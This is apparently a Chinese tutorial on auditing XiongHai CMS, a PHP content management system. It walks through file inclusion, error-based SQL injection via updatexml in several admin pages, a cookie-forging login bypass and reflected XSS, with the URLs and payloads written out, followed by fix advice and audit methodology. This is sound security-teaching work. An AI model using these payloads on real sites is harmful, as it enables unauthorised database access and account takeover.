熊海CMS审计
字数 1468 2025-08-12 12:46:02
熊海CMS安全审计教学文档
1. 系统概述
熊海CMS是一个简单的PHP内容管理系统,适合初学者进行安全审计学习。系统采用传统的PHP文件包含架构,没有使用复杂的MVC框架。
系统特点
- 通过GET参数
r实现文件包含 - 前后台分离设计
- 缺乏基本的安全防护措施
- 代码结构简单,便于分析
2. 审计环境准备
所需工具
- Windows操作系统
- Seay源码审计工具
- PHPStudy集成环境
3. 漏洞分析
3.1 文件包含漏洞
前台文件包含
- 漏洞文件:
/index.php - 漏洞原理: 直接通过GET参数
r包含文件,无安全过滤 - 利用方式:
(PHP低版本可使用http://www.xxx.com/index.php?r=../a.txt../a.txt%00进行截断)
后台文件包含
- 漏洞文件:
/admin/index.php - 利用方式:
http://www.xxx.com/admin/index.php?r=../../a.txt
3.2 SQL注入漏洞
后台SQL注入点
-
editcolumn.php
- 位置:
/admin/files/editcolumn.php - 参数: type, id
- Payload:
/admin/index.php?r=editcolumn&type=2&id=1' and updatexml(1,concat(0x7e,user()),1)--+ - 绕过认证: 仅检查COOKIE中user值是否为空
- 位置:
-
editlink.php
- 位置:
/admin/files/editlink.php - Payload:
/admin/index.php?r=editlink&id=1' and updatexml(1,concat(0x7e,user()),1)--+
- 位置:
-
editsoft.php & editwz.php
- Payloads:
/admin/index.php?r=editsoft&id=1' and updatexml(1,concat(0x7e,user()),1)--+ /admin/index.php?r=editwz&id=1' and updatexml(1,concat(0x7e,user()),1)--+
- Payloads:
-
manageinfo.php
- 位置:
/admin/files/manageinfo.php - Payload:
save=1&user=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&name=qwe&mail=123&qq=123123
- 位置:
-
imageset.php
- Payload:
save=1&img_kg=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&img_weizhi=qwe&img_slt=123&img_moshi=123123
- Payload:
-
newlink.php
- Payload:
save=1&name=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&url=qwe&mail=123&jieshao=123123&xs=1
- Payload:
-
后台登录框SQL注入
- 位置:
/admin/files/login.php - 方式: POST参数直接拼接到SQL语句
- 位置:
3.3 后台登录绕过
- 漏洞原理: 仅检查
/inc/checklogin.php中user值是否为空 - 利用方式: 伪造COOKIE中user值为非空即可绕过认证
3.4 XSS漏洞
-
contact.php
- 位置:
/files/contact.php - 参数: page
- 过滤: 仅过滤单引号
- Payload:
<script>alert(1)</script>
- 位置:
-
content.php
- 位置:
/files/content.php - 参数: id
- Payload:
"><script>alert(1)</script>
- 位置:
-
存储型XSS
- 存在于评论功能中(环境问题未详细记录)
4. 漏洞修复建议
-
文件包含漏洞修复:
- 白名单限制可包含的文件
- 禁用动态文件包含
- 更新PHP版本(防止截断攻击)
-
SQL注入修复:
- 使用预处理语句
- 对所有输入参数进行过滤
- 使用PDO或mysqli扩展
-
认证绕过修复:
- 实现完整的会话管理
- 使用强认证机制
- 增加CSRF防护
-
XSS漏洞修复:
- 对所有输出进行HTML实体编码
- 实现CSP策略
- 使用XSS过滤库
5. 审计方法论
-
入口点分析:
- 从index.php开始,跟踪参数传递
- 分析包含机制
-
敏感函数追踪:
- 搜索
include,require等文件包含函数 - 查找SQL查询函数如
mysql_query
- 搜索
-
参数传递分析:
- 跟踪GET/POST/COOKIE参数流向
- 检查是否有过滤或编码
-
认证机制审计:
- 检查认证逻辑完整性
- 测试绕过可能性
-
自动化工具辅助:
- 使用Seay等工具进行初步扫描
- 手动验证扫描结果
6. 学习建议
- 从简单CMS开始审计,逐步提高难度
- 重点关注:
- 用户输入处理
- 数据库操作
- 文件操作
- 会话管理
- 建立漏洞验证环境
- 记录审计过程和发现
通过本案例学习,可以掌握基本CMS的安全审计方法和常见漏洞挖掘技巧。